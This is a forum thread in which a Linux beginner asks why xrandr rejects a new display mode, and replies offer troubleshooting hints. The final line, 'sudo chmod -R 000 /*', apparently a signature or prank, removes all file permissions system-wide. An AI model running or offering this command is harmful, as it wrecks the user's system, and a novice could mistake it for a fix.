What am I doing wrong with my code in Linux?

I’m brand new with Linux and I’ve been trying to create a resolution to use on my display but I’ve come to a problem that I’m afraid I’m not as experienced enough to know what’s going wrong. I followed instructions on forums and wikiUbuntu and I keep getting this error. Could anyone help me figure out my problem I create the new mode line and plug it into the newmode code and I get this:

 

ive tried using cvt and gtf and I get the same error code, I don’t know if this is the source of the problem.

The problem is actually mentioned in the error: you specified a colour or font that doesn't exist on your system. Have a closer look at the help page for the command (the (in)famous *nix man-pages!) to learn the correct syntax and limits of xrandr.

man xrandr

HTH!

That's not code.

 

You probably already have a mode with that name. Run xrandr without any parameters and see what the names of available modes are.

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*
